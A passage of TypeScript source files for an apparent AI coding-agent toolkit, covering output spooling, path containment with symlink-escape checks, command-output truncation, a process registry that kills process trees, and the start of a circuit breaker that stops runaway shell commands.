appended to a capped tool result. Kept in one place\n * so every command tool phrases it identically (and tests can match it).\n */\nexport function spoolNote(info: SpoolInfo): string {\n const dropped =\n info.droppedBytes > 0 ? `, ~${info.droppedBytes} bytes dropped under backpressure` : '';\n return `\\n[output truncated \u2014 full ${info.bytes} bytes at ${info.path}${dropped}; read/grep that file selectively instead of re-running with more output]`;\n}\n\nexport function createOutputSpool(opts: CreateOutputSpoolOptions): OutputSpool {\n const threshold = opts.thresholdBytes ?? 32_768;\n const safeTool = opts.tool.replace(/[^a-zA-Z0-9._-]+/g, '_').slice(0, 40) || 'tool';\n\n let head = '';\n let headBytes = 0;\n let totalBytes = 0;\n let droppedBytes = 0;\n let stream: WriteStream | null = null;\n let filePath: string | null = null;\n let failed = false;\n let finalized = false;\n\n const open = (): void => {\n if (stream || failed) return;\n try {\n const dir = toolOutputDir();\n // Synchronous on purpose: createWriteStream would race an async mkdir\n // and error with ENOENT. This runs at most once per oversized command,\n // and after the first call the dir exists (mkdirSync is a no-op stat).\n mkdirSync(dir, { recursive: true });\n sweepOldSpoolFiles(dir);\n const stamp = new Date().toISOString().replace(/[:.]/g, '-');\n const rand = Math.random().toString(36).slice(2, 6);\n filePath = path.join(dir, `${stamp}-${safeTool}-${rand}.log`);\n stream = createWriteStream(filePath, { flags: 'w', encoding: 'utf8' });\n stream.on('error', () => {\n // Disk full / permission \u2014 disable the spool, keep the tool alive.\n failed = true;\n stream = null;\n filePath = null;\n });\n // Flush the buffered head first so the file is the complete output.\n stream.write(head);\n } catch {\n failed = true;\n stream = null;\n filePath = null;\n }\n };\n\n return {\n write(text: string): void {\n if (finalized || !text) return;\n totalBytes += Buffer.byteLength(text, 'utf8');\n if (!stream && !failed) {\n if (headBytes + text.length <= threshold) {\n head += text;\n headBytes += text.length;\n return;\n }\n head += text; // include the crossing chunk so the file misses nothing\n open();\n head = ''; // flushed into the stream by open(); release the heap copy\n return;\n }\n if (stream) {\n if (stream.writableLength > SPOOL_WRITE_HWM_BYTES) {\n droppedBytes += Buffer.byteLength(text, 'utf8');\n return;\n }\n stream.write(text);\n }\n },\n finalize(): SpoolInfo | null {\n if (finalized) {\n return filePath ? { path: filePath, bytes: totalBytes, droppedBytes } : null;\n }\n finalized = true;\n head = '';\n if (!stream || !filePath) return null;\n try {\n stream.end();\n } catch {\n /* already closed */\n }\n return { path: filePath, bytes: totalBytes, droppedBytes };\n },\n };\n}\n", "import { createHash } from 'node:crypto';\nimport * as fsp from 'node:fs/promises';\nimport * as path from 'node:path';\nimport * as Core from '@wrongstack/core';\nimport type { Context } from '@wrongstack/core';\n\n/**\n * sha-256 hex of a UTF-8 string. Used by the file tools to record a content\n * hash alongside the mtime in `ctx.recordRead` \u2014 the hash is the authoritative\n * staleness arbiter for `edit` (mtime has a 2 s tolerance window on Windows).\n */\nexport function sha256hex(content: string): string {\n return createHash('sha256').update(content, 'utf8').digest('hex');\n}\n/** Detected package manager for a project directory. */\nexport type PackageManager = 'pnpm' | 'yarn' | 'npm';\n\n/**\n * Detect the project's package manager by inspecting lockfiles in `cwd`.\n * Order: pnpm \u2192 yarn \u2192 npm (default). Missing or unreadable directories fall\n * back to `npm` rather than throwing, so a `safeResolve`-checked cwd that\n * happens to be empty never aborts the tool.\n */\nexport async function detectPackageManager(cwd: string): Promise<PackageManager> {\n const { stat } = await import('node:fs/promises');\n try {\n await stat(`${cwd}/pnpm-lock.yaml`);\n return 'pnpm';\n } catch {\n /* not pnpm */\n }\n try {\n await stat(`${cwd}/yarn.lock`);\n return 'yarn';\n } catch {\n /* not yarn */\n }\n return 'npm';\n}\n\nexport function resolvePath(input: string, ctx: Context): string {\n return path.isAbsolute(input) ? path.normalize(input) : path.resolve(ctx.workingDir ?? ctx.cwd, input);\n}\n\n/**\n * Roots every file tool may always reach, even in restricted mode: the\n * project root and the user-global `~/.wrongstack` directory (config, memory,\n * sessions, skills). `~/.wrongstack` honors the `WRONGSTACK_HOME` override.\n */\nfunction allowedRoots(ctx: Context): string[] {\n return [path.resolve(ctx.projectRoot), path.resolve(Core.wstackGlobalRoot())];\n}\n\n/** True if `target` is `root` itself or nested inside any of `roots`. */\nfunction isInsideAny(target: string, roots: string[]): boolean {\n return roots.some((root) => {\n const rel = path.relative(root, target);\n return rel === '' || (!rel.startsWith('..') && !path.isAbsolute(rel));\n });\n}\n\nexport function ensureInsideRoot(absPath: string, ctx: Context): string {\n const target = path.resolve(absPath);\n // Unrestricted filesystem access: skip the project-root containment check.\n if (ctx.allowOutsideProjectRoot) return target;\n if (isInsideAny(target, allowedRoots(ctx))) return target;\n throw new Error(`Path \"${absPath}\" is outside project root \"${path.resolve(ctx.projectRoot)}\"`);\n}\n\nexport function safeResolve(input: string, ctx: Context): string {\n return ensureInsideRoot(resolvePath(input, ctx), ctx);\n}\n\n/**\n * Defense against in-root\u2192out-of-root symlink escape (CWE-59). `safeResolve`\n * only does a syntactic `../` check, so a symlink that lives *inside* the\n * project root but points outside still passes it. This resolves the path\n * through `fs.realpath` and re-verifies containment against the realpath of\n * the project root (comparing like-for-like, since the root itself may be a\n * symlink \u2014 macOS `/var`\u2192`/private/var`, Windows 8.3 short names). For a path\n * that does not exist yet (e.g. a `write` to a new file) the nearest existing\n * ancestor directory is checked instead. Throws if the real target escapes.\n *\n * Mirrors the per-file guard already used in `replace.ts`/`grep.ts`; applied\n * to single-file `read`/`edit`/`write` it throws (rather than skips) because\n * the caller named exactly one file.\n */\nexport async function assertRealInsideRoot(absPath: string, ctx: Context): Promise<void> {\n // Unrestricted filesystem access: no symlink-escape check to perform.\n if (ctx.allowOutsideProjectRoot) return;\n // Compare like-for-like against the realpath of each always-allowed root\n // (project root + ~/.wrongstack), since a root may itself be a symlink.\n const realRoots = await Promise.all(\n allowedRoots(ctx).map((r) => fsp.realpath(r).catch(() => path.resolve(r))),\n );\n let probe = absPath;\n for (;;) {\n let real: string;\n try {\n real = await fsp.realpath(probe);\n } catch (err) {\n if ((err as NodeJS.ErrnoException).code === 'ENOENT') {\n const parent = path.dirname(probe);\n if (parent === probe) return; // reached fs root without escaping\n probe = parent;\n continue;\n }\n throw err;\n }\n if (isInsideAny(real, realRoots)) return;\n throw new Error(\n `Path \"${absPath}\" resolves through a symlink outside project root \"${realRoots[0]}\"`,\n );\n }\n}\n\n/** `safeResolve` + symlink realpath containment check. Async. */\nexport async function safeResolveReal(input: string, ctx: Context): Promise<string> {\n const abs = safeResolve(input, ctx);\n await assertRealInsideRoot(abs, ctx);\n return abs;\n}\n\nexport function truncateMiddle(s: string, max: number): string {\n if (Buffer.byteLength(s, 'utf8') <= max) return s;\n const half = Math.floor(max / 2);\n return (\n s.slice(0, half) +\n `\\n\u2026[truncated ${Buffer.byteLength(s, 'utf8') - max} bytes from middle]\u2026\\n` +\n s.slice(-half)\n );\n}\n\nexport function isBinaryBuffer(buf: Buffer): boolean {\n const len = Math.min(buf.length, 8192);\n for (let i = 0; i < len; i++) {\n if (buf[i] === 0) return true;\n }\n return false;\n}\n\n// \u2500\u2500\u2500 Command-output normalization (token-saving) \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n//\n// Raw process output is full of tokens the model gains nothing from: ANSI\n// escapes, carriage-return progress spam, runs of identical warning lines, and\n// huge tails of build noise. These helpers strip that noise before the output\n// reaches the LLM. They are scoped to COMMAND tools (bash/git/exec and the\n// _spawn-stream consumers) \u2014 never applied to structured/code outputs.\n\n/** Unified byte cap for all command tool output fed to the model. */\nexport const COMMAND_OUTPUT_MAX_BYTES = 32_768;\n\n/** Runs of >= this many identical consecutive lines are collapsed. */\nconst REPEAT_RUN_THRESHOLD = 3;\n\n/**\n * Collapse carriage-return overwrites the way a terminal would: `\\r\\n` becomes\n * `\\n`, and a bare `\\r` (progress redraw) keeps only the text after the LAST\n * `\\r` on its physical line. Without this, a single progress bar that redraws\n * 200 times explodes into 200 lines.\n */\nexport function collapseCarriageReturns(text: string): string {\n const lf = text.replace(/\\r\\n/g, '\\n');\n if (!lf.includes('\\r')) return lf;\n return lf\n .split('\\n')\n .map((line) => (line.includes('\\r') ? line.slice(line.lastIndexOf('\\r') + 1) : line))\n .join('\\n');\n}\n\n/**\n * Collapse a run of `minRun`+ identical consecutive lines into the line once\n * plus a marker. Consecutive-only \u2014 it never reorders or dedups non-adjacent\n * lines, so diffs/source stay intact.\n */\nexport function collapseConsecutiveDuplicates(text: string, minRun = REPEAT_RUN_THRESHOLD): string {\n const lines = text.split('\\n');\n const out: string[] = [];\n let i = 0;\n while (i < lines.length) {\n let j = i + 1;\n while (j < lines.length && lines[j] === lines[i]) j++;\n const run = j - i;\n if (run >= minRun) {\n out.push(lines[i]!, `\u2026 \u27E8repeated ${run}\u00D7\u27E9`);\n } else {\n for (let k = i; k < j; k++) out.push(lines[k]!);\n }\n i = j;\n }\n return out.join('\\n');\n}\n\n/** Largest prefix of `s` whose UTF-8 byte length is <= `maxBytes`. */\nfunction takeHeadBytes(s: string, maxBytes: number): string {\n if (maxBytes <= 0) return '';\n /* v8 ignore next -- only caller (truncateHeadTail) passes a budget smaller than s; defensive. */\n if (Buffer.byteLength(s, 'utf8') <= maxBytes) return s;\n let lo = 0;\n let hi = s.length;\n while (lo < hi) {\n const mid = Math.ceil((lo + hi) / 2);\n if (Buffer.byteLength(s.slice(0, mid), 'utf8') <= maxBytes) lo = mid;\n else hi = mid - 1;\n }\n return s.slice(0, lo);\n}\n\n/** Largest suffix of `s` whose UTF-8 byte length is <= `maxBytes`. */\nfunction takeTailBytes(s: string, maxBytes: number): string {\n if (maxBytes <= 0) return '';\n /* v8 ignore next -- only caller (truncateHeadTail) passes a budget smaller than s; defensive. */\n if (Buffer.byteLength(s, 'utf8') <= maxBytes) return s;\n let lo = 0;\n let hi = s.length;\n while (lo < hi) {\n const mid = Math.ceil((lo + hi) / 2);\n if (Buffer.byteLength(s.slice(s.length - mid), 'utf8') <= maxBytes) lo = mid;\n else hi = mid - 1;\n }\n return s.slice(s.length - lo);\n}\n\n/**\n * Truncate to `maxBytes` keeping BOTH ends \u2014 the head (what ran / early context)\n * and the tail (errors and summaries usually land last), biased ~45/55 toward\n * the tail. The result never exceeds `maxBytes`.\n */\nexport function truncateHeadTail(s: string, maxBytes: number): string {\n const total = Buffer.byteLength(s, 'utf8');\n if (total <= maxBytes) return s;\n // Reserve a fixed allowance for the marker so the final string can't exceed\n // the cap even though the dropped-byte count's digit width varies.\n const MARKER_RESERVE = 64;\n const avail = Math.max(0, maxBytes - MARKER_RESERVE);\n const headBudget = Math.floor(avail * 0.45);\n const head = takeHeadBytes(s, headBudget);\n const tail = takeTailBytes(s, avail - Buffer.byteLength(head, 'utf8'));\n const kept = Buffer.byteLength(head, 'utf8') + Buffer.byteLength(tail, 'utf8');\n return `${head}\\n\u2026[truncated ${total - kept} bytes]\u2026\\n${tail}`;\n}\n\n/**\n * Full token-saving pipeline for command tool output: strip ANSI \u2192 collapse\n * carriage-return progress \u2192 trim trailing whitespace \u2192 collapse identical\n * consecutive lines \u2192 squeeze blank-line runs \u2192 head+tail truncate to the cap.\n */\nexport function normalizeCommandOutput(\n raw: string,\n opts: { maxBytes?: number | undefined } = {},\n): string {\n if (!raw) return raw;\n let text = Core.stripAnsi(raw);\n text = collapseCarriageReturns(text);\n text = text.replace(/[ \\t]+$/gm, ''); // trailing whitespace per line\n text = collapseConsecutiveDuplicates(text);\n text = text.replace(/\\n{3,}/g, '\\n\\n'); // >=2 blank lines \u2192 1\n return truncateHeadTail(text, opts.maxBytes ?? COMMAND_OUTPUT_MAX_BYTES);\n}\n", "/**\n * ProcessRegistry \u2014 global singleton that tracks all spawned child processes\n * from `bash` and `exec` tools. Enables:\n *\n * - Listing active processes (for TUI status bar)\n * - Killing individual processes or all processes (for Ctrl+C and /kill)\n * - Detecting runaway processes (hung, looping)\n * - Circuit breaker integration to prevent recursive/repeated failures\n *\n * Thread-safety: Node.js is single-threaded, but async callbacks can fire\n * in any order. All mutations go through synchronized Map methods.\n */\nimport { spawn } from 'node:child_process';\nimport type { ChildProcess } from 'node:child_process';\nimport * as os from 'node:os';\nimport { CircuitBreaker, type CircuitBreakerSnapshot, type CircuitBreakerConfig } from './circuit-breaker.js';\nexport type { CircuitBreakerSnapshot, CircuitBreakerConfig } from './circuit-breaker.js';\n\nexport interface TrackedProcess {\n pid: number;\n name: string;\n /** Display-safe redacted command string \u2014 safe for logs, /ps, crash dumps.\n * Contains [REDACTED] in place of sensitive flag values. */\n command: string;\n startedAt: number;\n sessionId?: string | undefined;\n /** The raw ChildProcess handle. Never call .kill() directly on this \u2014\n * use `kill()` below which handles process groups correctly on POSIX\n * and degrades gracefully on Windows. */\n child: ChildProcess;\n /** True only when this child was spawned as a POSIX process-group/session\n * leader (for example `spawn(..., { detached: true })`) and `pid` is the\n * actual `child.pid`. Negative-PID signaling is host-wide dangerous for\n * values like -1, so tests and manually registered entries must not opt in. */\n processGroupLeader?: boolean | undefined;\n /** True once the process has been kill()ed but not yet exited.\n * We keep it in the registry until 'close' fires so callers can\n * distinguish \"still running\" from \"just exited\". */\n killed: boolean;\n /** If true, kill() and killAll() will refuse to kill this process.\n * Used for infrastructure processes (browser, dev servers, \u2026) that\n * must outlive the agent session. */\n protected: boolean;\n}\n\n// redactCommand (and its sensitive-flag patterns) lives in _redact-command.ts\n// so registry-only consumers (e.g. ps-slash) don't carry its dependencies.\n// Re-exported here to keep this module's historical public API intact.\nexport { redactCommand } from './_redact-command.js';\n\ninterface KillOpts {\n /** SIGKILL instead of SIGTERM. Default: false (SIGTERM first). */\n force?: boolean | undefined;\n /** MS to wait between SIGTERM and SIGKILL on POSIX. Default: 2000. */\n graceMs?: number | undefined;\n}\n\n/**\n * Snapshot of the armed auto kill/reset countdown, or null when nothing is\n * armed. `remainingMs` ticks down in real time; the TUI statusline renders it.\n */\nexport interface BreakerCountdown {\n remainingMs: number;\n totalMs: number;\n}\n\ntype BreakerCountdownListener = (snapshot: BreakerCountdown | null) => void;\n\nexport interface RegistryStats {\n activeCount: number;\n totalCount: number;\n breaker: CircuitBreakerSnapshot;\n}\n\nconst DEFAULT_GRACE_MS = 2000;\nconst WIN32_TASKKILL_TIMEOUT_MS = 5000;\n\ninterface Win32TreeKillOptions {\n /**\n * Upper bound for taskkill itself before the caller's fallback may run.\n * This is deliberately separate from POSIX SIGTERM grace: on Windows the\n * direct-child fallback must not fire while taskkill is still walking the\n * child tree, or it can orphan grandchildren that keep stdio open.\n */\n timeoutMs?: number | undefined;\n onSettled?: (() => void) | undefined;\n}\n\n/**\n * Kill an entire process tree on Windows via `taskkill /T /F`.\n *\n * TerminateProcess (what `child.kill()` maps to) has no process-group\n * semantics, so killing a shell wrapper (`cmd.exe /c \u2026`) orphans its\n * grandchildren (node, vitest forks, dev servers). The orphans inherit the\n * parent's stdio pipe handles and can keep streaming into this process for\n * the rest of the session \u2014 which both prevents the child's 'close' event\n * from ever firing and grows in-memory output buffers without bound.\n *\n * Returns true if taskkill was spawned, false if spawning it failed (caller\n * should fall back to a direct `child.kill()`). Callers that need a direct\n * fallback should pass `onSettled`; it runs after taskkill exits, errors, or\n * exceeds `timeoutMs`, avoiding the race where killing cmd.exe first prevents\n * taskkill from enumerating and killing grandchildren.\n */\nexport function killWin32Tree(pid: number, opts: Win32TreeKillOptions = {}): boolean {\n try {\n const child = spawn('taskkill', ['/pid', String(pid), '/T', '/F'], {\n stdio: 'ignore',\n windowsHide: true,\n });\n let settled = false;\n let timeout: ReturnType<typeof setTimeout> | undefined;\n const settle = () => {\n if (settled) return;\n settled = true;\n if (timeout) clearTimeout(timeout);\n try {\n opts.onSettled?.();\n } catch {\n /* fallback callbacks are best-effort */\n }\n };\n // spawn() reports a failure to launch (e.g. taskkill not on PATH, blocked by\n // security software) via an ASYNC 'error' event \u2014 the surrounding try/catch\n // only traps synchronous throws. Without a listener that event is unhandled\n // and crashes the whole process. Swallow it: this is best-effort tree-kill\n // and the registry still has the direct child.kill() fallback.\n child.on('error', settle);\n child.on('close', settle);\n timeout = setTimeout(() => {\n try {\n child.kill();\n } catch {\n /* already exited */\n }\n settle();\n }, Math.max(1, opts.timeoutMs ?? WIN32_TASKKILL_TIMEOUT_MS));\n timeout.unref?.();\n child.unref();\n return true;\n } catch {\n return false;\n }\n}\n\nexport class ProcessRegistryImpl {\n private readonly processes = new Map<number, TrackedProcess>();\n private readonly breaker: CircuitBreaker;\n\n /**\n * Auto kill/reset config. When the breaker trips and `autoKillResetMs > 0`,\n * a countdown is armed; on expiry all tracked processes are killed and the\n * breaker is reset to closed (forced recovery). Zero means manual recovery\n * only (`/kill reset`).\n */\n private autoKillResetMs = 0;\n private autoKillTimer: ReturnType<typeof setTimeout> | null = null;\n private autoKillArmedAt: number | null = null;\n private breakerCountdownListeners: BreakerCountdownListener[] = [];\n\n constructor(breakerConfig?: CircuitBreakerConfig) {\n this.breaker = new CircuitBreaker(breakerConfig);\n // Arm on trip, cancel on recovery. Listeners are best-effort.\n this.breaker.onTrip = () => this._armAutoKillReset();\n this.breaker.onReset = () => this._cancelAutoKillReset();\n // Protection is OFF by default \u2014 the user opts in via `/settings breaker on`.\n this.breaker.setEnabled(false);\n }\n\n register(info: Omit<TrackedProcess, 'killed' | 'protected'> & { protected?: boolean | undefined }): void {\n this.processes.set(info.pid, { ...info, killed: false, protected: info.protected ?? false });\n }\n\n private _isSafeSignalPid(pid: number): boolean {\n return Number.isInteger(pid) && pid > 1 && pid !== process.pid && pid !== process.ppid;\n }\n\n private _canSignalProcessGroup(p: TrackedProcess): boolean {\n return (\n os.platform() !== 'win32' &&\n p.processGroupLeader === true &&\n this._isSafeSignalPid(p.pid) &&\n typeof p.child.pid === 'number' &&\n p.child.pid === p.pid\n );\n }\n\n private _killChildDirect(p: TrackedProcess, signal: NodeJS.Signals): void {\n try {\n p.child.kill(signal);\n } catch {\n // Process may have already exited, or this may be a persistent entry\n // without a live ChildProcess handle in the current process.\n }\n }\n\n private _killPosix(p: TrackedProcess, signal: NodeJS.Signals): void {\n if (this._canSignalProcessGroup(p)) {\n try {\n process.kill(-p.pid, signal);\n return;\n } catch {\n // Process group may already be gone; fall back to the direct child.\n }\n }\n this._killChildDirect(p, signal);\n }\n\n /** Unregister a process by PID. Called on 'close' / 'exit' events. */\n unregister(pid: number): void {\n this.processes.delete(pid);\n }\n\n /** Get a single process by PID. */\n get(pid: number): TrackedProcess | undefined {\n this._pruneStale(pid);\n return this.processes.get(pid);\n }\n\n /** Get all tracked processes. */\n list(): TrackedProcess[] {\n return Array.from(this.processes.values());\n }\n\n /** Get processes filtered by name (e.g. 'bash', 'exec'). */\n byName(name: string): TrackedProcess[] {\n return this.list().filter((p) => p.name === name);\n }\n\n /** Get processes filtered by session. */\n bySession(sessionId: string): TrackedProcess[] {\n return this.list().filter((p) => p.sessionId === sessionId);\n }\n\n /** Count of active (non-killed) processes. */\n get activeCount(): number {\n let n = 0;\n for (const p of this.processes.values()) {\n if (!p.killed) n++;\n }\n return n;\n }\n\n /**\n * Combined stats for observability \u2014 used by /ps and the TUI status bar.\n */\n stats(): RegistryStats {\n return {\n activeCount: this.activeCount,\n totalCount: this.processes.size,\n breaker: this.breaker.snapshot(),\n };\n }\n\n /**\n * Returns true if the circuit allows a new bash/exec call to proceed.\n * When false, callers MUST NOT spawn a process.\n */\n get canProceed(): boolean {\n return this.breaker.canProceed;\n }\n\n /**\n * Called before spawning a process. Returns true if allowed; false if\n * the circuit breaker is open.\n *\n * @param bypass - If true, skip circuit breaker check (for background processes).\n */\n beforeCall(bypass = false): boolean {\n return this.breaker.beforeCall(bypass);\n }\n\n /**\n * Called after a process finishes. `durationMs` is wall-clock time;\n * `failed` is true for non-zero exit codes.\n *\n * @param bypass - If true, do not update circuit breaker state (for background processes).\n */\n afterCall(durationMs: number, failed: boolean, bypass = false): void {\n this.breaker.afterCall(durationMs, failed, bypass);\n }\n\n /** Force-open the circuit breaker (Ctrl+C, /kill force). */\n forceBreakerOpen(): void {\n this.breaker.forceOpen();\n }\n\n /** Force-reset the circuit breaker to closed (/kill reset). */\n forceBreakerReset(): void {\n this.breaker.forceReset();\n }\n\n /**\n * Configure circuit-breaker protection at runtime. Called from `/settings`\n * (instant, all modes) and on TUI mount (applies persisted config).\n *\n * - `enabled` toggles whether the breaker gates `bash`/`exec`.\n * - `autoKillResetMs` arms the auto kill/reset countdown when the breaker\n * trips (0 = manual recovery only).\n *\n * Re-applies cleanly on every call: cancels a pending countdown when the\n * timeout is cleared or protection disabled, and re-arms if the breaker is\n * currently open under the new settings.\n */\n setBreakerConfig(cfg: { enabled?: boolean | undefined; autoKillResetMs?: number | undefined }): void {\n if (cfg.enabled !== undefined) this.breaker.setEnabled(cfg.enabled);\n if (cfg.autoKillResetMs !== undefined) this.autoKillResetMs = Math.max(0, cfg.autoKillResetMs);\n\n if (this.autoKillResetMs <= 0) {\n this._cancelAutoKillReset();\n return;\n }\n // If protection is active and the breaker is currently tripped, ensure a\n // countdown is armed for the new window (covers a live config change while\n // the breaker is already open).\n if (this.breaker.isEnabled && this.breaker.snapshot().state === 'open') {\n this._armAutoKillReset();\n }\n }\n\n /**\n * Live countdown to the next auto kill/reset, or null when nothing is armed.\n * The TUI polls this on a 1s tick while armed so the statusline decrements.\n */\n getBreakerCountdown(): BreakerCountdown | null {\n if (this.autoKillArmedAt === null || this.autoKillResetMs <= 0) return null;\n const elapsed = Date.now() - this.autoKillArmedAt;\n return { remainingMs: Math.max(0, this.autoKillResetMs - elapsed), totalMs: this.autoKillResetMs };\n }\n\n /**\n * Subscribe to countdown arm/cancel events. Returns an unsubscribe function.\n * Use {@link getBreakerCountdown} for the live ticking value between events.\n */\n onBreakerCountdownChange(listener: BreakerCountdownListener): () => void {\n this.breakerCountdownListeners.push(listener);\n return () => {\n this.breakerCountdownListeners = this.breakerCountdownListeners.filter((l) => l !== listener);\n };\n }\n\n private _emitBreakerCountdown(): void {\n const snap = this.getBreakerCountdown();\n for (const l of this.breakerCountdownListeners) {\n try {\n l(snap);\n } catch {\n /* listener failure must never affect breaker behavior */\n }\n }\n }\n\n /**\n * Arm the auto kill/reset countdown. Idempotent: re-arming resets the window\n * (a fresh trip after a failed half-open probe restarts the clock). No-op\n * when protection is off or no timeout is configured.\n */\n private _armAutoKillReset(): void {\n if (this.autoKillResetMs <= 0 || !this.breaker.isEnabled) return;\n this._clearAutoKillTimer();\n this.autoKillArmedAt = Date.now();\n this.autoKillTimer = setTimeout(() => {\n this.autoKillTimer = null;\n this.autoKillArmedAt = null;\n // Forced recovery: nuke runaway processes and reopen the circuit.\n this.killAll({ force: false });\n this.breaker.forceReset();\n this._emitBreakerCountdown();\n }, this.autoKillResetMs);\n // Don't keep the event loop alive purely for auto-recovery.\n this.autoKillTimer.unref?.();\n this._emitBreakerCountdown();\n }\n\n private _cancelAutoKillReset(): void {\n const wasArmed = this.autoKillArmedAt !== null;\n this._clearAutoKillTimer();\n if (wasArmed) {\n this.autoKillArmedAt = null;\n this._emitBreakerCountdown();\n }\n }\n\n private _clearAutoKillTimer(): void {\n if (this.autoKillTimer !== null) {\n clearTimeout(this.autoKillTimer);\n this.autoKillTimer = null;\n }\n }\n\n /** Kill a single process by PID.\n *\n * On POSIX: sends SIGTERM to the *process group* (-pid) so that\n * runaway grandchild processes (`sleep 9999 & disown`) are also killed.\n * After `graceMs` a SIGKILL is sent if the process hasn't exited.\n *\n * On Windows: `child.kill()` maps to TerminateProcess \u2014 process groups\n * are not meaningfully supported. A second `force=true` call sends\n * SIGKILL (which maps to TerminateProcess again \u2014 the distinction is\n * in the exit code, not the signal).\n *\n * Returns true if the process was found and kill was attempted.\n */\n kill(pid: number, opts: KillOpts = {}): boolean {\n this._pruneStale(pid);\n const p = this.processes.get(pid);\n if (!p) return false;\n if (p.killed) return true; // already kill()ed, don't double-send\n if (p.protected) return false; // protected processes are never kill()ed\n\n const { force = false, graceMs = DEFAULT_GRACE_MS } = opts;\n const isWin = os.platform() === 'win32';\n\n if (isWin) {\n // Windows: no process group semantics. A direct kill terminates only\n // the immediate child \u2014 shell-wrapped commands (cmd.exe /c \u2026) leave\n // grandchildren running that hold the inherited stdio pipes open and\n // keep feeding output into this process indefinitely. Kill the whole\n // tree via taskkill instead, but only for a real, still-running child\n // (exitCode === null); test fakes and already-exited processes take\n // the plain-kill path. The direct kill is deliberately NOT sent\n // immediately alongside taskkill: killing the root first would break\n // taskkill's parent-pid tree enumeration and orphan the grandchildren\n // again \u2014 it runs as a delayed fallback instead.\n const liveRealChild = p.child.exitCode === null && typeof p.child.pid === 'number';\n const directFallback = () => {\n if (p.child.exitCode === null) {\n try {\n p.child.kill('SIGKILL');\n } catch {\n // Process may have already exited.\n }\n }\n };\n if (\n liveRealChild &&\n killWin32Tree(pid, {\n timeoutMs: Math.max(graceMs, WIN32_TASKKILL_TIMEOUT_MS),\n onSettled: directFallback,\n })\n ) {\n // The direct fallback is intentionally chained from taskkill's\n // completion. Killing cmd.exe before taskkill has walked the tree can\n // orphan the real command and leave stdio pipes open forever.\n } else {\n try {\n p.child.kill(force ? 'SIGKILL' : 'SIGTERM');\n } catch {\n // Process may have already exited.\n }\n }\n p.killed = true;\n return true;\n }\n\n // POSIX: kill the process group only when the tracked child is proven to\n // be the group leader. Otherwise use child.kill(); negative PID signaling\n // with untrusted/fake PIDs can target unrelated host processes.\n try {\n if (force) {\n this._killPosix(p, 'SIGKILL');\n } else {\n this._killPosix(p, 'SIGTERM');\n // Schedule SIGKILL as backup.\n const timer = setTimeout(() => {\n // Re-check: process may have exited on its own.\n if (this.processes.has(pid) && !p.child.killed) {\n this._killPosix(p, 'SIGKILL');\n }\n }, graceMs);\n timer.unref?.(); // Don't keep event loop alive.\n }\n } catch {\n // Process may have already exited.\n }\n p.killed = true;\n return true;\n }\n\n /**\n * Kill all tracked processes.\n * Returns the PIDs that were kill()ed.\n */\n killAll(opts: KillOpts = {}): number[] {\n const pids = Array.from(this.processes.keys());\n const killed: number[] = [];\n for (const pid of pids) {\n const p = this.processes.get(pid);\n if (p && !p.protected && this.kill(pid, opts)) killed.push(pid);\n }\n return killed;\n }\n\n /**\n * Kill all processes for a specific session.\n * Returns the PIDs that were kill()ed.\n */\n killSession(sessionId: string, opts: KillOpts = {}): number[] {\n const pids = this.bySession(sessionId).map((p) => p.pid);\n const killed: number[] = [];\n for (const pid of pids) {\n if (this.kill(pid, opts)) killed.push(pid);\n }\n return killed;\n }\n\n /**\n * Check whether a tracked process entry is stale \u2014 the child has exited\n * (exitCode !== null) AND it's been in the registry long enough that the\n * OS may have reused the PID for a new, unrelated process.\n *\n * P3 #24 (before-release.md): on POSIX, PIDs are reused after process\n * exit. If a tracked process exits but its 'close' event hasn't fired yet\n * (or was missed), the registry still holds the entry. A new process\n * gets the same PID, and PID-based lookups (get, kill, shouldBlockKill)\n * may incorrectly protect or target the wrong process.\n *\n * The 60s threshold is conservative \u2014 the OS typically waits much longer\n * before reusing a PID, but we want to clean up before that becomes a risk.\n */\n private _isStaleEntry(entry: TrackedProcess): boolean {\n return entry.child.exitCode !== null && Date.now() - entry.startedAt > 60_000;\n }\n\n /**\n * Remove a stale entry for a specific PID before any PID-based lookup.\n * This prevents PID reuse from causing the registry to act on a dead\n * process that has been replaced by a new one with the same PID.\n */\n private _pruneStale(pid: number): void {\n const entry = this.processes.get(pid);\n if (entry && this._isStaleEntry(entry)) {\n this.processes.delete(pid);\n }\n }\n}\n\n/** Module-level singleton. Initialized on first access. */\nlet _registry: ProcessRegistryImpl | undefined;\n\nexport function getProcessRegistry(): ProcessRegistryImpl {\n if (!_registry) {\n _registry = new ProcessRegistryImpl();\n }\n return _registry;\n}\n\n/** Reset for tests. */\nexport function _resetProcessRegistry(): void {\n _registry = undefined;\n}\n\n// \u2500\u2500 Convenience re-exports \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\nexport type { KillOpts };\n", "/**\n * CircuitBreaker \u2014 prevents runaway bash/exec tool chains by:\n *\n * - Tripping on consecutive failures (models that keep repeating the\n * same failing command, e.g. `npm install` with wrong args in a loop)\n * - Tripping on slow call ratio (too many long-running commands suggest\n * a hung subprocess that the model doesn't know how to kill)\n * - Rate-limiting bursts (rapid succession of commands without reading\n * output suggests the model isn't processing results)\n * - Auto-recovering after a cooldown period so a fixed model can resume\n *\n * The breaker is owned by the ProcessRegistry so any tool that registers\n * a process participates in the same circuit. \"Per-tool\" isolation is\n * intentionally NOT implemented \u2014 the model treats bash/exec as one\n * resource pool; isolating them would let the model route around the\n * breaker by alternating which tool it uses.\n */\n\nexport interface CircuitBreakerConfig {\n /**\n * Consecutive failures before trip. Default: 5.\n * A single success resets this counter to 0.\n */\n maxConsecutiveFailures?: number | undefined;\n /**\n * Slow-call threshold in ms. A call that runs longer than this is\n * counted as \"slow\". Default: 60_000 (1 minute).\n */\n slowCallThresholdMs?: number | undefined;\n /**\n * Max slow calls before trip (within the sliding window). Default: 3.\n */\n maxSlowCalls?: number | undefined;\n /**\n * Sliding window for rate-limit and slow-call counting, in ms.\n * Default: 60_000 (1 minute).\n */\n windowMs?: number | undefined;\n /**\n * Max calls within the sliding window. Default: 30.\n * Burst exceeding this trips the breaker immediately.\n */\n 